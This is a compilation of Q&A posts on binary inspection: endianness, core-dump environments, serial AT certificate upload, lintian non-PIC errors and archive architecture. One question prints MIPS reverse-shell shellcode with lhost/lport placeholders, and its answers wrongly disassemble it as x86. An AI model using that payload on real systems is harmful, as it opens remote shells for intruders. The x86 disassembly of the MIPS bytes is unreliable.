I am trying to find a call function in a binary file, so I tried this:
Compile my code (in C),
Use the command: mips-mti-linux-gnu-objdump -d myapp.elf> objdump.txt
My function in objdump.txt file: 9d003350: 42000828 myfunction 0x1
Now, I want to identify this function in myapp.bin when reading this from memory. But, I get this: 28080042.
I tried to use the command: xxd -ps myapp.bin> xxd.txt
Just can find: 28080042.
Is it possible to do that?
That's an endianness conflict. objdump and xxd are giving you the same bytes, they're just using different endianness.
Actual bytes in order:
28 08 00 42
Big endian value:
28 08 00 42
Little endian value:
42 00 08 28
xxd -p will print out the individual bytes in the file in the order in which they exist.
objdump is disassembling it, it knows that the bytes belong in groups of 4, and it's interpreting them as little-endian.
xxd can print in little-endian order, using the -e flag (with a default grouping of 4 bytes, use the -g flag to change the number of bytes per group). However, this is incompatible with the -p flag, because the -p flag ignores any grouping.
objdump can be made to print in big-endian order, using the -EB flag, however, this will affect what instructions it reports.
Related
First I find the process' pid with ps:
% ps -a | grep 'a.out'
output:
36296 pts/0 00:00:07 a.out
Then I get an image of this process with gcore:
% sudo gcore 36296
output:
0x0000558eab27d131 in main ()
warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000.
Saved corefile core.36296
[Inferior 1 (process 36296) detached]
Then, hex dump object:
% hd core.36296 | grep 'HOME'
output:
001f4a90 3d 32 00 48 4f 4d 45 3d 2f 68 6f 6d 65 2f 63 61 |=2.HOME=/home/ca|
Now, I'm trying to find the section where environment variables is loaded. How can I do this ?
You should use a debugger!
For linux, gcc and gdb you can do:
> gdb <executable> <core-file>
Within gdb you now can examine the environment from the core file:
(gdb) print ((char**)__environ)[0]
$1 = 0x7ffc6aba0a58 "SHELL=/bin/bash"
(gdb) print ((char**)__environ)[1]
$2 = 0x7ffc6aba0a68 "SESSION_MANAGER=local/unix:#/tmp/.ICE-unix/1873,unix/unix:/tmp/.ICE-unix/1873"
unless you get a string with length 0.
If you do not have an executable with debug infos, you also can try to find the text with:
strings –a <core-file>
But before you write a core file and try to search in it, you simply can get the environment from a process by using ps if your program is still running:
ps eww <pid>
i have some shellcode that when i convert to ascii it doesnt output text its just gibberish.
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
i tried decoding it multiple ways with the same output, is there any other way to decode this?
You can disassemble using python one liner with ndisasm tools.
eg. python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
Result :
00000000 2411 and al,0x11
00000002 FF db 0xff
00000003 FF2404 jmp [esp+eax]
00000006 27 daa
00000007 0F db 0x0f
00000008 0A db 0x0a
You could use cutter which is a debug / dumping tool for all kinds of files.
You can make a files e.g:
touch script.sh type your shellcode in the file and then run e.g: cutter script.sh if you don't know how to use the individual tools in the CLI, and get more information in one place, then only the dissasembly with:
python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
then cutter is a great tool for showing you information quick and easy.
Cutter:
https://cutter.re/
I need to send a PEM-formatted certificate for storaging on a module that can be communicated with through the AT command set via a serial interface on one of Linux device nodes in /dev.
So far I've been using mostly
echo 'AT' > /dev/ttyX
to issue the necessary commands and it has done the trick just fine.
Any output from the device is monitored with cat /dev/ttyX on another terminal window.
I now have a certificate file encoded with ANSI. The documentation tells me to input it to the module using only LF line breaks and to terminate the input with Ctrl+Z, which I believe is hex 0x1A. The document also specifies that the certificate file may not end with an EOF character. I have used a hex editor to verify that the file is formatted as it should be.
I've tried to use both echo and printf to send the certificate chars / string to the module.
I have tried to include the 0x1A character in both the file and send it separately after the certificate chars like so:
printf '\x1a' > /dev/ttyX
or alternatively
echo -n -e '\x1a' > /dev/ttyX
The module seems to acknowledge the 0x1A as it stops the >-prompt for certificate and gives me the most verbose reply ever: ERROR
Generally, I'm sending the certificate file contents as follows:
echo -e "$(cat certfile)" > /dev/ttyX
or
printf '%b' "$(cat certfile)" > /dev/ttyX
Please assume that I have access to basic Linux shell tools (such as echo, printf, nano, stty and so on) with no option to trivially install new ones. I use SSH to access the target device and pscp to transfer the file to the target device. I also have a Windows rig on the side.
Any suggestions what else I should take into consideration? Maybe an stty option that I've missed? Does cat do something nasty in the input phase? A revealing trick to investigate the actual character data about to be send to the module? Some weird kink with serial comms I've missed?
If I
printf '%b' "$(cat cert)" > ./testoutput
and
od -x testoutput
the file looks alright in hex (I reordered the output from od -x manually, it seems to make pairs of the hex digits and switch them around). For example the end is:
2d 2d 2d 2d 2d 45 4e 44 20 43 45 52 54 49 46 49 43 41 54 45 2d 2d 2d 2d 2d 0a 1a 00
There must be something in stty or the receiving end that's causing trouble. Right?
For example the end is:
2d 2d 2d 2d 2d 45 4e 44 20 43 45 52 54 49 46 49 43 41 54 45 2d 2d 2d 2d 2d 0a 00 1a
Wait a sec. What's that 00 doing there, right before the 1a?
That doesn't belong. Try removing it.
I'm trying to build a .deb package with debuild -i -us -uc -b and in the end I see:
Now running lintian...
warning: the authors of lintian do not recommend running it with root privileges!
W: libluajit-5.1-2: hardening-no-relro usr/lib/powerpc64le-linux-gnu/libluajit-5.1.so.2.1.0
E: libluajit-5.1-2: shlib-with-non-pic-code usr/lib/powerpc64le-linux-gnu/libluajit-5.1.so.2.1.0
W: luajit: hardening-no-relro usr/bin/luajit-2.1.0-alpha
W: luajit: binary-without-manpage usr/bin/luajit-2.1.0-alpha
Finished running lintian.
I have a hunch that I failed to define a "PIC code setup", which must be at the beginning of each external function:
The following code might appear in a PIC code setup sequence to compute
the distance from a function entry point to the TOC base:
addis 2,12,.TOC.-func#ha
addi 2,2,.TOC.-func#l
as specified by the ABI, page 99.
However I couldn't find the symbols which were non-PIC. Or maybe some relevant file that was not compiled with -fPIC?
Info:
system architecture: ppc64le
compiling .so library with: gcc -shared -fPIC
To find which symbols made your elf non-PIC/PIE (Position Independent Code/Executable), use scanelf from pax-utils package (on ubuntu, install it with sudo apt-get install pax-utils):
$ scanelf -qT /usr/local/lib/libluajit-5.1.so.2.1.0 | head -n 3
libluajit-5.1.so.2.1.0: buf_grow [0x7694] in (optimized out: previous lj_BC_MODVN) [0x7600]
libluajit-5.1.so.2.1.0: buf_grow [0x769C] in (optimized out: previous lj_BC_MODVN) [0x7600]
libluajit-5.1.so.2.1.0: buf_grow [0x76A0] in (optimized out: previous lj_BC_MODVN) [0x7600]
$ objdump -Sa /usr/local/lib/libluajit-5.1.so.2.1.0 | grep -A5 \ 7694:
7694: 00 00 80 39 li r12,0
7698: c6 07 8c 79 rldicr r12,r12,32,31
769c: 00 00 8c 65 oris r12,r12,0
76a0: 00 00 8c 61 ori r12,r12,0
76a4: a6 03 89 7d mtctr r12
76a8: 21 04 80 4e bctrl
On my case an absolute address was meant to be load on r12, but that's not possible for a dynamic library, so the linker used 0 for that parameter (I had to use #GOT operator, but that's the particular solution to my case).
On the luajit program, it's possible to define the address on linking time and it looks like this:
1003d0d4: 00 00 80 39 li r12,0
1003d0d8: c6 07 8c 79 rldicr r12,r12,32,31
1003d0dc: 07 10 8c 65 oris r12,r12,4103
1003d0e0: 30 ca 8c 61 ori r12,r12,51760
1003d0e4: a6 03 89 7d mtctr r12
Quite different right?
a much detailed explanation can be found on this wonderful Gentoo wiki page.
The failing lintian check is this:
# Now that we're sure this is really a shared library, report on
# non-PIC problems.
if ($objdump->{$cur_file}->{TEXTREL}) {
tag 'shlib-with-non-pic-code', $cur_file;
}
So you can probably find the offending file by looking for a .o that contains a TEXTREL dynamic section (which is making its way into your final link).
To do this, you can use readelf --dyanamic, in something like the following:
find . -name '*.o' |
while read obj
do
if readelf --dynamic "$obj" | grep -q TEXTREL
then
echo "$obj contains a TEXTREL section"
fi
done
I have a .a file from which I want to get architecture information. Running file myFile.a results in file.a: current ar archive. How can I get more information on what architecture the file contains?
You can also skip the ar command and use readelf, via something like:
readelf -h <archive>.a | grep 'Class\|File\|Machine'
[00:32:15] /usr/lib $ readelf -h libxslt.a | grep 'Class\|File\|Machine'
File: libxslt.a(attrvt.o)
Class: ELF32
Machine: Intel 80386
File: libxslt.a(xslt.o)
Class: ELF32
Machine: Intel 80386
... #Trimmed this, it goes on a bit
File: libxslt.a(transform.o)
Class: ELF32
Machine: Intel 80386
File: libxslt.a(security.o)
Class: ELF32
Machine: Intel 80386
[00:32:24] /usr/lib $
In case it's relevant, here's the other information that you can get from readelf -h. I just trimmed the above with grep, obviously:
File: libxslt.a(security.o)
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 2548 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 40 (bytes)
Number of section headers: 16
Section header string table index: 13
That output is for one of the object files in libxslt.a, but it gives the same information for each file.
Use
lipo -info libExample.a
It will Who the architecture it build for. Other functions like otool or file doesn't give the exact answer and sometimes it to verbose to get the correct information.
objdump is another option:
objdump -a file.a|grep 'file format'
http://linux.die.net/man/1/ar
extract the object files from the archive and inspect them with file(1), nm(1), etc.
I would suggest using objdump instead of lipo. objdump provides detailed information than lipo.